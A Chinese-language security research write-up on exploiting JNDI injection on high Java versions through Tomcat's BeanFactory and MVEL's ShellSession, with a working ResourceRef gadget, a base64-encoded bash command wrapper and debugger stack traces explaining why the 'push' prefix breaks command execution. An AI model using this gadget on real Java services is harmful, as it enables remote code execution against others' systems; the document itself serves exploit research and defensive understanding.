JNDI Bypass - MVEL
测试背景
JDNI利用mvel绕过高版本java限制的时候,使用runtime exec编码变形之后执行命令失败。只能弹个计算器。
测试结果
浅蓝师傅在探索高版本JDK下JNDI 漏洞的利用方法中给出的执行方式:
private static ResourceRef tomcat_MVEL(){
ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=exec"));
ref.add(new StringRefAddr("a",
"push Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator');"));
return ref;
}
先说结论:把执行命令的时候push
指令去掉,可以成功执行命令。
原因探索
先把测试的命令做一次编码:open /System/Applications/Calculator.app/Contents/MacOS/Calculator
经过编码之后: bash -c {echo,b3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcC9Db250ZW50cy9NYWNPUy9DYWxjdWxhdG9y}|{base64,-d}|{bash,-i}
存在push的时候
经过一路的跳转,进入到_exec()
函数,调用堆栈如下:
_exec:122, ShellSession (org.mvel2.sh)
exec:463, ShellSession (org.mvel2.sh)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getObjectInstance:211, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, RMITest (com.rmi)
函数在108行对传入的字符串进行分割: String[] inTokens = this.inBuffer.append(this.commandBuffer).toString().split("\\s");
, \s
表示空格、tab、换行: ' ', '\t', '\n', '\r'
等
分割之后,得到inTokens
:
inTokens = {String[4]@1355}
0 = "push"
1 = "Runtime.getRuntime().exec('bash"
2 = "-c"
3 = "{echo,L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcg==}|{base64,-d}|{bash,-i}');"
然后获取inTokens[1:]
赋值给passParamters
。继续跟进到119行代码: ((Command)this.commands.get(inTokens[0])).execute(this, passParameters);
,进入调用push指令的函数,此时的参数如下:
在pushContext.java
里面调用MVEL.eval
解析MVEL表达式,这个时候可以看出来执行MVEL.eval
的时候,第一个参数是args[0]: Runtime.getRuntime().exec('bash
,所以会导致命令执行失败:
去掉push的时候
当没有push的时候,执行到SHellSession.java
会跳转到123行代码分支,然后实例化MVELInterpretedRuntime
之后调用parse()
函数:
经过一系列解析判断之后最终进入到propertyAccessor.class
的896行,获取到Runtime
上下文之后调用传入的参数:
函数调用堆栈:
getMethod:995, PropertyAccessor (org.mvel2)
getNormal:181, PropertyAccessor (org.mvel2)
get:145, PropertyAccessor (org.mvel2)
get:125, PropertyAccessor (org.mvel2)
getReducedValue:187, ASTNode (org.mvel2.ast)
parseAndExecuteInterpreted:112, MVELInterpretedRuntime (org.mvel2)
parse:58, MVELInterpretedRuntime (org.mvel2)
_exec:171, ShellSession (org.mvel2.sh)
exec:463, ShellSession (org.mvel2.sh)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getObjectInstance:211, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, RMITest (com.rmi)